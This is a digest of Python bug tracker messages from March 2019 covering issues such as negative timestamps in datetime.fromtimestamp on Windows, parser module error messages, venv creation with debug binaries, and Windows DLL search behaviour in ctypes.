Subject: [issue36439] [Windows] datetime.fromtimestamp(t) when t < 0 fails on
 Python 3.6
In-Reply-To: <1553613506.18.0.935251324399.issue36439@roundup.psfhosted.org>
Message-ID: <1553613737.31.0.630511704525.issue36439@roundup.psfhosted.org>


Micka?l Schoentgen <contact at tiger-222.fr> added the comment:

Reproduced on 3.6.8 and 3.7.3.

----------
type:  -> behavior
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36439>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:23:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 15:23:40 +0000
Subject: [issue36439] [Windows] datetime.fromtimestamp(t) when t < 0 fails on
 Python 3.6
In-Reply-To: <1553613506.18.0.935251324399.issue36439@roundup.psfhosted.org>
Message-ID: <1553613820.4.0.231633241358.issue36439@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36439>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:23:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 15:23:53 +0000
Subject: [issue36439] [Windows] datetime.fromtimestamp(t) when t < 0 fails on
 Python 3.6
In-Reply-To: <1553613506.18.0.935251324399.issue36439@roundup.psfhosted.org>
Message-ID: <1553613833.04.0.765967270722.issue36439@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy: +p-ganssle

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36439>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:24:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 15:24:47 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553613887.82.0.601219881029.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Note for myself: PYTHONDEVMODE=1, PreConfig isolated=1, CoreConfig isolated=0: is the dev mode enabled or not? IMHO it should not. Maybe add a specific unit test?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:24:53 2019
From: report at bugs.python.org (=?utf-8?q?Micka=C3=ABl_Schoentgen?=)
Date: Tue, 26 Mar 2019 15:24:53 +0000
Subject: [issue36439] [Windows] datetime.fromtimestamp(t) when t < 0 fails on
 Python 3.6
In-Reply-To: <1553613506.18.0.935251324399.issue36439@roundup.psfhosted.org>
Message-ID: <1553613893.62.0.323033672663.issue36439@roundup.psfhosted.org>


Micka?l Schoentgen <contact at tiger-222.fr> added the comment:

And also reproduced on 3.8.0a3.

----------
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36439>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:29:48 2019
From: report at bugs.python.org (=?utf-8?q?Micka=C3=ABl_Schoentgen?=)
Date: Tue, 26 Mar 2019 15:29:48 +0000
Subject: [issue36439] OSes inconsistency whith datetime.fromtimestamp(t) when
 t < 0
In-Reply-To: <1553613506.18.0.935251324399.issue36439@roundup.psfhosted.org>
Message-ID: <1553614188.91.0.719556024926.issue36439@roundup.psfhosted.org>


Change by Micka?l Schoentgen <contact at tiger-222.fr>:


----------
title: [Windows] datetime.fromtimestamp(t) when t < 0 fails on Python 3.6 -> OSes inconsistency whith datetime.fromtimestamp(t) when t < 0

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36439>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:30:15 2019
From: report at bugs.python.org (=?utf-8?q?Micka=C3=ABl_Schoentgen?=)
Date: Tue, 26 Mar 2019 15:30:15 +0000
Subject: [issue36439] Inconsistencies with datetime.fromtimestamp(t) when t < 0
In-Reply-To: <1553613506.18.0.935251324399.issue36439@roundup.psfhosted.org>
Message-ID: <1553614215.65.0.0667775742955.issue36439@roundup.psfhosted.org>


Change by Micka?l Schoentgen <contact at tiger-222.fr>:


----------
title: OSes inconsistency whith datetime.fromtimestamp(t) when t < 0 -> Inconsistencies with datetime.fromtimestamp(t) when t < 0

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36439>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:33:28 2019
From: report at bugs.python.org (A. Skrobov)
Date: Tue, 26 Mar 2019 15:33:28 +0000
Subject: [issue36440] more helpful diagnostics for parser module
Message-ID: <1553614408.8.0.416681237128.issue36440@roundup.psfhosted.org>


New submission from A. Skrobov <tyomitch at gmail.com>:

Seeing that the implicit resolution at #36256 was to keep the parser module in place, may I suggest that the diagnostics it produces be improved, so that instead of "Expected node type 305, got 11", it would raise "Expected namedexpr_test, got COLON"

----------
components: Extension Modules
messages: 338897
nosy: A. Skrobov, benjamin.peterson, berker.peksag, brett.cannon, fdrake, gregory.p.smith, pablogsal, python-dev, serhiy.storchaka, xcombelle
priority: normal
severity: normal
status: open
title: more helpful diagnostics for parser module
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36440>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:38:10 2019
From: report at bugs.python.org (A. Skrobov)
Date: Tue, 26 Mar 2019 15:38:10 +0000
Subject: [issue36440] more helpful diagnostics for parser module
In-Reply-To: <1553614408.8.0.416681237128.issue36440@roundup.psfhosted.org>
Message-ID: <1553614690.8.0.397090726317.issue36440@roundup.psfhosted.org>


Change by A. Skrobov <tyomitch at gmail.com>:


----------
keywords: +patch
pull_requests: +12510
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36440>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:39:09 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 15:39:09 +0000
Subject: [issue36436] _testcapi.pymem_buffer_overflow() doesn't handle memory
 allocation failure
In-Reply-To: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>
Message-ID: <1553614749.07.0.098276375049.issue36436@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 20fde53a25aefd076d8478f67d6db3908459c6f3 by Miss Islington (bot) in branch '3.7':
bpo-36436: Fix _testcapi.pymem_buffer_overflow() (GH-12560)
https://github.com/python/cpython/commit/20fde53a25aefd076d8478f67d6db3908459c6f3


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:39:49 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 26 Mar 2019 15:39:49 +0000
Subject: [issue36440] more helpful diagnostics for parser module
In-Reply-To: <1553614408.8.0.416681237128.issue36440@roundup.psfhosted.org>
Message-ID: <1553614789.68.0.518176699825.issue36440@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Thank you very much for creating the issue :)

> Seeing that the implicit resolution at #36256 was to keep the parser module in place

Nothing was really "decided", just that meanwhile is better not to ship a broken parser module.

>  may I suggest that the diagnostics it produces be improved, so that instead of "Expected node type 305, got 11", it would raise "Expected namedexpr_test, got COLON"

Would you like to produce a PR for this?

----------
stage: patch review -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36440>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:40:18 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 26 Mar 2019 15:40:18 +0000
Subject: [issue36440] more helpful diagnostics for parser module
In-Reply-To: <1553614408.8.0.416681237128.issue36440@roundup.psfhosted.org>
Message-ID: <1553614818.81.0.931159282538.issue36440@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Haha, you were faster creating the PR than me posting the message!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36440>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:48:17 2019
From: report at bugs.python.org (A. Skrobov)
Date: Tue, 26 Mar 2019 15:48:17 +0000
Subject: [issue36440] more helpful diagnostics for parser module
In-Reply-To: <1553614408.8.0.416681237128.issue36440@roundup.psfhosted.org>
Message-ID: <1553615297.17.0.242577561628.issue36440@roundup.psfhosted.org>


A. Skrobov <tyomitch at gmail.com> added the comment:

> Nothing was really "decided", just that meanwhile is better not to ship a broken parser module.

Totally true, but the issue is closed and resolved, meaning that no one will ever look at it again.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36440>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:50:28 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 26 Mar 2019 15:50:28 +0000
Subject: [issue36440] more helpful diagnostics for parser module
In-Reply-To: <1553614408.8.0.416681237128.issue36440@roundup.psfhosted.org>
Message-ID: <1553615428.87.0.102379983369.issue36440@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

> Meaning that no one will ever look at it again.

I am very interested in a better alternative to the parser module, so I will open soon another issue for that matter. But as the original issue was about a specific bug, I prefer to mark it as resolved :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36440>
_______________________________________

From report at bugs.python.org  Tue Mar 26 11:59:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 15:59:04 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553615944.65.0.170292170985.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset f8ba6f5afc317d1be3025db1be410ac66a7e5a27 by Victor Stinner in branch 'master':
bpo-36301: Cleanup preconfig.c and coreconfig.c (GH-12563)
https://github.com/python/cpython/commit/f8ba6f5afc317d1be3025db1be410ac66a7e5a27


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Tue Mar 26 12:45:44 2019
From: report at bugs.python.org (Christian Ullrich)
Date: Tue, 26 Mar 2019 16:45:44 +0000
Subject: [issue36441] Cannot create venv with debug binaries installed
Message-ID: <1553618744.7.0.176169992924.issue36441@roundup.psfhosted.org>


New submission from Christian Ullrich <chris at chrullrich.net>:

Creating a venv using "py -m venv" fails when the debug binaries are installed in the system-wide installation.

Note the below uses the 32-bit installation, but that is probably not significant.

C:\Daten\pyv>py -3.7-32 -m venv v37-32
Error: [Errno 2] No such file or directory: 'C:\\Program Files (x86)\\Python37-32\\lib\\venv\\scripts\\nt\\python_d.exe'

The same command line works fine when using a Python installation that does not have the debug binaries installed.

----------
components: Windows
messages: 338904
nosy: chrullrich, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Cannot create venv with debug binaries installed
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36441>
_______________________________________

From report at bugs.python.org  Tue Mar 26 12:47:19 2019
From: report at bugs.python.org (Christian Ullrich)
Date: Tue, 26 Mar 2019 16:47:19 +0000
Subject: [issue36441] Cannot create venv with debug binaries installed
In-Reply-To: <1553618744.7.0.176169992924.issue36441@roundup.psfhosted.org>
Message-ID: <1553618839.92.0.812947198935.issue36441@roundup.psfhosted.org>


Christian Ullrich <chris at chrullrich.net> added the comment:

Python version is 3.7.3.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36441>
_______________________________________

From report at bugs.python.org  Tue Mar 26 13:11:24 2019
From: report at bugs.python.org (Hardik)
Date: Tue, 26 Mar 2019 17:11:24 +0000
Subject: [issue36442] Different ValueError for the same operation in List and
 Tuple
Message-ID: <1553620284.92.0.688954440948.issue36442@roundup.psfhosted.org>


New submission from Hardik <hardik172 at gmail.com>:

I am curious why ValueErrors are different in List and Tuple when I try to get an index.  ValueError of a list returns in well format with actual argument "ValueError: 'ITEM' is not in list", whereas tuple returns something like this "ValueError: tuple.index(x): x not in tuple". 
I think List and Tuple both are calling same index() method then why it is raising different ValueErrors? 
>>> jframe_li
['Angular', 'React', 'Vue.js', 'Ember.js', 'Mereor', 'Node.js', 'Backbone.js']
>>> jframe_tu
('Angular', 'React', 'Vue.js', 'Ember.js', 'Mereor', 'Node.js', 'Backbone.js')
>>> jframe_li.index('React')
1
>>> jframe_tu.index('React')
1
>>> jframe_li.index('react')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: 'react' is not in list

>>> jframe_tu.index('react')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: tuple.index(x): x not in tuple

----------
components: Tests
messages: 338906
nosy: HardikPatel
priority: normal
severity: normal
status: open
title: Different ValueError for the same operation in List and Tuple
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36442>
_______________________________________

From report at bugs.python.org  Tue Mar 26 13:13:04 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 26 Mar 2019 17:13:04 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1553474271.69.0.716897166659.issue36356@roundup.psfhosted.org>
Message-ID: <20190326171259.GA11340@xps>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@Ned, I have found a solution on Linux, will try on this evening with my
macOS laptop. 
I hope to come with a solution on this evening or tomorrow, but need to
check my proto.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 26 14:03:25 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 26 Mar 2019 18:03:25 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553623405.17.0.35365029038.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Since there's no chance of getting old SQL Server fixed, I think we should just merge it without the SetDefaultDllDirectories change.

Any comments, questions or more feedback on the PR?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 26 14:18:55 2019
From: report at bugs.python.org (SilentGhost)
Date: Tue, 26 Mar 2019 18:18:55 +0000
Subject: [issue36442] Different ValueError for the same operation in List and
 Tuple
In-Reply-To: <1553620284.92.0.688954440948.issue36442@roundup.psfhosted.org>
Message-ID: <1553624335.23.0.403005364254.issue36442@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
components: +Interpreter Core -Tests
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36442>
_______________________________________

From report at bugs.python.org  Tue Mar 26 14:19:48 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 26 Mar 2019 18:19:48 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553624388.89.0.684401669265.issue36345@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

I actually still think we should remove serve.py as the person who had needed to clean up that directory when we realized we had massive bitrot in /Tools. :) I don't' think that just because Debian packages means we need to continue supporting and maintaining it (e.g. if wsgiref was changed who is going to remember to update this script?).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Tue Mar 26 14:22:56 2019
From: report at bugs.python.org (SilentGhost)
Date: Tue, 26 Mar 2019 18:22:56 +0000
Subject: [issue36442] Different ValueError for the same operation in List and
 Tuple
In-Reply-To: <1553620284.92.0.688954440948.issue36442@roundup.psfhosted.org>
Message-ID: <1553624576.19.0.963734332095.issue36442@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

This seems to be related to argument clinic work (issue 20186 and issue 20185).

----------
components: +Argument Clinic
nosy: +SilentGhost, larry

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36442>
_______________________________________

From report at bugs.python.org  Tue Mar 26 14:32:59 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 26 Mar 2019 18:32:59 +0000
Subject: [issue36441] Cannot create venv with debug binaries installed
In-Reply-To: <1553618744.7.0.176169992924.issue36441@roundup.psfhosted.org>
Message-ID: <1553625179.57.0.547687663741.issue36441@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Thanks! Two issues here:
* symlink_or_copy doesn't verify that the source file exists after rewriting the path
* Tools/msi/lib/lib_files.wxs doesn't include the debug launchers

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36441>
_______________________________________

From report at bugs.python.org  Tue Mar 26 14:35:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 18:35:36 +0000
Subject: [issue36436] _testcapi.pymem_buffer_overflow() doesn't handle memory
 allocation failure
In-Reply-To: <1553603732.99.0.947384078311.issue36436@roundup.psfhosted.org>
Message-ID: <1553625336.83.0.657727452227.issue36436@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks for your bug report. It is now fixed.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36436>
_______________________________________

From report at bugs.python.org  Tue Mar 26 15:07:17 2019
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 26 Mar 2019 19:07:17 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553627237.55.0.707596852821.issue36085@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> Any comments, questions or more feedback on the PR?

I commented on the PR that I'm concerned that ctypes.CDLL will no longer open a path with slashes in it (e.g. CDLL("./spam.dll") or CDLL("eggs/spam.dll")) relative to the working directory, and may accidentally match another directory in the search path. In POSIX, a path with a slash in it is always relative to the working directory and never searched for. In Windows, particularly for the loader, all relative paths are always searched for. This works with the current LoadLibraryW call, with minimal risk of name collisions, because only the application directory and system directories are checked before the working directory, which is checked before searching PATH. I suggest that with the change to use LOAD_LIBRARY_SEARCH_DEFAULT_DIRS, ctypes should first resolve such a path by calling GetFullPathNameW, as is suggested in the Windows docs.

I also had suggested documenting and exposing a subset of the loader flags for use with the CDLL `mode` parameter, which is currently unused in Windows. This would make it convenient for a user to include the flag LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR when the DLL path is fully qualified. However, that was deemed too peripheral to be worth the extra effort of supporting and documenting the parameter and adding the required tests, which is understandable. This can maybe be addressed in another issue, if the need arises. That said, it would be nice to provide parity with C extension modules here, which are always loaded with the latter flag. If given a fully-qualified path, or a relative path with slashes in it that's resolved via GetFullPathNameW, _ctypes.LoadLibrary could automatically include the LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR flag.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 26 15:12:49 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 19:12:49 +0000
Subject: [issue36364] errors in multiprocessing.shared_memory examples
In-Reply-To: <1553006397.24.0.439789667635.issue36364@roundup.psfhosted.org>
Message-ID: <1553627569.23.0.154114670863.issue36364@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 3b7e47aea9b29f2669e7178a461426d18bce349e by Miss Islington (bot) (Pierre Glaser) in branch 'master':
bpo-36364: fix SharedMemoryManager examples (GH-12439)
https://github.com/python/cpython/commit/3b7e47aea9b29f2669e7178a461426d18bce349e


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36364>
_______________________________________

From report at bugs.python.org  Tue Mar 26 15:13:44 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 26 Mar 2019 19:13:44 +0000
Subject: [issue36364] errors in multiprocessing.shared_memory examples
In-Reply-To: <1553006397.24.0.439789667635.issue36364@roundup.psfhosted.org>
Message-ID: <1553627624.74.0.538592490554.issue36364@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

I've gone ahead and merged Pierre's fix (thanks!), but I'm not sure if SharedMemoryManager should stay in the shared_memory docs or if it should move over to multiprocessing.manager.

Davin, any input on that?

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36364>
_______________________________________

From report at bugs.python.org  Tue Mar 26 15:18:10 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 26 Mar 2019 19:18:10 +0000
Subject: [issue36441] Cannot create venv with debug binaries installed
In-Reply-To: <1553618744.7.0.176169992924.issue36441@roundup.psfhosted.org>
Message-ID: <1553627890.18.0.423483457966.issue36441@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
keywords: +patch
pull_requests: +12511
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36441>
_______________________________________

From report at bugs.python.org  Tue Mar 26 17:10:50 2019
From: report at bugs.python.org (Tal Einat)
Date: Tue, 26 Mar 2019 21:10:50 +0000
Subject: [issue34203] documentation: recommend Python 3 over 2 in faq
In-Reply-To: <1532397328.96.0.56676864532.issue34203@psf.upfronthosting.co.za>
Message-ID: <1553634650.27.0.410177759402.issue34203@roundup.psfhosted.org>


Tal Einat <taleinat at gmail.com> added the comment:


New changeset 6cd658b1a5cb2413230dbc2d9395d20498be8518 by Tal Einat in branch 'master':
bpo-34203: FAQ: improve wording of paragraph about 2.x vs. 3.x (GH-9821)
https://github.com/python/cpython/commit/6cd658b1a5cb2413230dbc2d9395d20498be8518


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34203>
_______________________________________

From report at bugs.python.org  Tue Mar 26 17:11:14 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 21:11:14 +0000
Subject: [issue34203] documentation: recommend Python 3 over 2 in faq
In-Reply-To: <1532397328.96.0.56676864532.issue34203@psf.upfronthosting.co.za>
Message-ID: <1553634674.63.0.714148280204.issue34203@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12512

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34203>
_______________________________________

From report at bugs.python.org  Tue Mar 26 17:11:27 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 21:11:27 +0000
Subject: [issue34203] documentation: recommend Python 3 over 2 in faq
In-Reply-To: <1532397328.96.0.56676864532.issue34203@psf.upfronthosting.co.za>
Message-ID: <1553634687.42.0.253979844819.issue34203@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12513

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34203>
_______________________________________

From report at bugs.python.org  Tue Mar 26 17:17:21 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 21:17:21 +0000
Subject: [issue34203] documentation: recommend Python 3 over 2 in faq
In-Reply-To: <1532397328.96.0.56676864532.issue34203@psf.upfronthosting.co.za>
Message-ID: <1553635041.33.0.539739227107.issue34203@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 5a3316931c6042df44b3b342df956cd6a77e8dcd by Miss Islington (bot) in branch '2.7':
[2.7] bpo-34203: FAQ: improve wording of paragraph about 2.x vs. 3.x (GH-9821) (GH-12568)
https://github.com/python/cpython/commit/5a3316931c6042df44b3b342df956cd6a77e8dcd


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34203>
_______________________________________

From report at bugs.python.org  Tue Mar 26 17:20:33 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 21:20:33 +0000
Subject: [issue34203] documentation: recommend Python 3 over 2 in faq
In-Reply-To: <1532397328.96.0.56676864532.issue34203@psf.upfronthosting.co.za>
Message-ID: <1553635233.89.0.00585094754954.issue34203@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 5ac626350e2bfe5f283e7322bc31045062680d2b by Miss Islington (bot) in branch '3.7':
bpo-34203: FAQ: improve wording of paragraph about 2.x vs. 3.x (GH-9821)
https://github.com/python/cpython/commit/5ac626350e2bfe5f283e7322bc31045062680d2b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34203>
_______________________________________

From report at bugs.python.org  Tue Mar 26 17:44:25 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Tue, 26 Mar 2019 21:44:25 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1553636665.22.0.484255839203.issue36276@roundup.psfhosted.org>


Change by Charalampos Stratakis <cstratak at redhat.com>:


----------
nosy: +cstratak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Tue Mar 26 18:11:40 2019
From: report at bugs.python.org (Julien Palard)
Date: Tue, 26 Mar 2019 22:11:40 +0000
Subject: [issue36425] Add Simplified Chinese to the language switcher
In-Reply-To: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>
Message-ID: <1553638300.87.0.865262418345.issue36425@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

That's nice to read!

Once you've added a NEWS (see PR) entry I'll be happy to merge this.

----------
assignee: docs at python -> mdk

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Tue Mar 26 18:53:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 22:53:08 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553640788.55.0.00300075254789.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12514

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Tue Mar 26 18:58:01 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 22:58:01 +0000
Subject: [issue33601] [EASY DOC] Py_UTF8Mode is not documented
In-Reply-To: <1526996981.47.0.682650639539.issue33601@psf.upfronthosting.co.za>
Message-ID: <1553641081.0.0.997330342804.issue33601@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

PR 7143 has been closed. So is there another candidate to write the doc?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33601>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:00:32 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 26 Mar 2019 23:00:32 +0000
Subject: [issue35165] Possible wrong method name in attribute references doc
In-Reply-To: <1541353400.8.0.788709270274.issue35165@psf.upfronthosting.co.za>
Message-ID: <1553641232.17.0.327671339962.issue35165@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

> Or maybe just link to https://docs.python.org/3/reference/datamodel.html#object.__getattr__ (which mention about it) will be enough.

In section 6.3.1, __getattr__() is already linked to the datamodel page referenced.  

As your suggested change is already in the docs, I'm going to close this.

----------
nosy: +cheryl.sabella
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35165>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:04:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 23:04:10 +0000
Subject: [issue36443] Disable coerce_c_locale and utf8_mode by default in
 _PyPreConfig?
Message-ID: <1553641450.58.0.478845873462.issue36443@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

bpo-36301 created a very strict separated between Python initialization and a new "pre-initialization" which is responsible to configure encodings and memory allocators.

Nick Coghlan proposed to disable UTF-8 Mode and C locale coercion by default in the pre-initialization, so the LC_CTYPE locale is not coerced by Python when it's embedded in an application.

Maybe the UTF-8 Mode can be automatically enabled (depending on the LC_CTYPE locale), but not the C locale coercion?

This issue is related to bpo-36202: Calling Py_DecodeLocale() before _PyPreConfig_Write() can produce mojibake.

----------
components: Interpreter Core
messages: 338922
nosy: ncoghlan, vstinner
priority: normal
severity: normal
status: open
title: Disable coerce_c_locale and utf8_mode by default in _PyPreConfig?
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36443>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:05:26 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 23:05:26 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553641526.67.0.278303152658.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I created a follow-up issue: bpo-36443.

--

> Note for myself: PYTHONDEVMODE=1, PreConfig isolated=1, CoreConfig isolated=0: is the dev mode enabled or not? IMHO it should not. Maybe add a specific unit test?

PR 12569 adds these tests.

----------

